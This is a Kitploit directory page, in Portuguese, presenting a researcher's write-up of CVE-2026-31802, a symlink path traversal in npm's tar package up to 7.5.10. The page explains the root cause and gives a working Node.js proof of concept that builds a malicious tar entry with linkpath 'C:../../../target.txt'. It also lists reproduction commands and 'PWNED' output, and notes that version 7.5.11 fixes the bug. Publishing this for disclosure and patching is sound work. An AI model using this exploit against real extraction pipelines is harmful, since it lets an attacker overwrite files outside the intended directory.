Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31802 — Prova de conceito e write-up técnico para CVE-2026-31802, uma travessia de caminho por symlink no npm tar que permite a sobrescrita arbitrária de arquivos fora do diretório de extração. | Kitploit
Ferramentas/GitHubGitHub/jvr2022/cve-2026-31802
Análise de VulnerabilidadesExploraçãoSegurança WebSegurança da Cadeia de Suprimentos
GitHubjvr2022/cve-2026-31802

CVE-2026-31802

Prova de conceito e write-up técnico para CVE-2026-31802, uma travessia de caminho por symlink no npm tar que permite a sobrescrita arbitrária de arquivos fora do diretório de extração.

Ver Repositório
11há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-31802: Traversal de Caminho de Symlink no tar / Sobrescrita Arbitrária de Arquivos

Pesquisa: Joshua van Rijswijk

Descrição

Este repositório contém minha prova de conceito e análise técnica da CVE-2026-31802, uma vulnerabilidade de alta severidade no pacote tar do npm (node-tar) que afeta as versões <= 7.5.10.

Descobri que o tar pode ser enganado para criar um symlink que aponta para fora do diretório de extração pretendido usando um alvo de symlink relativo à unidade, como C:../../../target.txt. Na prática, isso possibilita escapar do cwd durante a extração e transformar a extração de arquivos em uma primitiva de sobrescrita arbitrária de arquivos.

O bug é acionável por meio do comportamento normal de extração com arquivos tar controlados pelo atacante.

Contexto

Ao analisar como o tar lida com a extração de symlinks, notei que certos valores de linkpath eram tratados de forma inconsistente durante a sanitização e validação. Em particular, caminhos relativos à unidade, como:

root@kitploit:~
C:../../../target.txt

acabavam sendo reescritos antes do uso, mas não validados na mesma forma em que eram, em última instância, armazenados e aplicados.

Essa discrepância é o que torna o bug explorável.

Causa Raiz

A vulnerabilidade vem de como o tar processa valores de linkpath de symlinks manipulados durante a extração.

Em um nível alto, a lógica de extração remove o prefixo da unidade de um caminho como:

root@kitploit:~
C:../../../target.txt

e o reescreve para:

root@kitploit:~
../../../target.txt

No entanto, a verificação de segurança de traversal é realizada contra o valor original antes da remoção do prefixo, enquanto a criação do symlink posteriormente usa o valor reescrito.

Isso significa que um arquivo malicioso pode passar na validação usando uma forma do caminho, mas ainda assim produzir um symlink que atravessa para fora do diretório de extração quando gravado no disco.

Fluxo de Exploração

Um arquivo malicioso pode conter uma entrada de symlink como esta:

root@kitploit:~
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt

Quando extraído com uso normal, como:

root@kitploit:~
tar.x({ cwd, file })

acontece o seguinte:

  1. O prefixo da unidade é removido de linkpath.
  2. A verificação de escape ainda avalia o valor original.
  3. A entrada é aceita.
  4. O symlink extraído é criado com o caminho de traversal reescrito.
  5. Uma gravação posterior através desse symlink alcança um arquivo fora do cwd.

Em outras palavras, a lógica de extração valida um valor e usa outro. Essa lacuna cria a primitiva de traversal.

Prova de Conceito

Escrevi a seguinte PoC para demonstrar que um symlink extraído pode ser feito para apontar para fora da raiz de extração e, em seguida, usado para sobrescrever um arquivo fora do diretório de trabalho.

A PoC:

  • cria ../target.txt
  • constrói um arquivo tar malicioso com uma entrada de symlink em a/b/l
  • define linkpath como C:../../../target.txt
  • extrai o arquivo no diretório atual
  • grava através de a/b/l
  • confirma que o arquivo externo foi sobrescrito

Script da PoC:

root@kitploit:~
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)

fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Reprodução

Instalar uma versão vulnerável

root@kitploit:~
npm install [email protected]

Executar a PoC

root@kitploit:~
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Saída observada

root@kitploit:~
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt

PWNED confirma que o arquivo fora do diretório de extração foi sobrescrito.

A saída de readlink e a listagem de arquivos mostram que o symlink extraído aponta para fora da raiz de extração pretendida.

Impacto

Este problema dá a um atacante uma primitiva de sobrescrita arbitrária de arquivos fora do diretório de extração pretendido, com as permissões do processo que realiza a extração.

Cenários realistas incluem:

  • ferramentas de CLI que extraem tarballs não confiáveis em um diretório de trabalho
  • pipelines de build e atualização que consomem arquivos de terceiros
  • serviços que importam arquivos tar fornecidos pelo usuário
  • ferramentas de desenvolvimento que descompactam automaticamente bundles ou artefatos

Nesses ambientes, um arquivo manipulado pode causar gravações fora do diretório que a aplicação espera controlar.

Versões Afetadas

  • Afetadas: tar <= 7.5.10
  • Corrigidas: tar 7.5.11

Correção

Este problema foi corrigido na versão 7.5.11.

Os usuários devem atualizar imediatamente:

root@kitploit:~
npm install tar@^7.5.11

Referências

  • Aviso do GitHub: GHSA-9ppj-qmqm-q256
  • CVE: CVE-2026-31802
Baixar ferramenta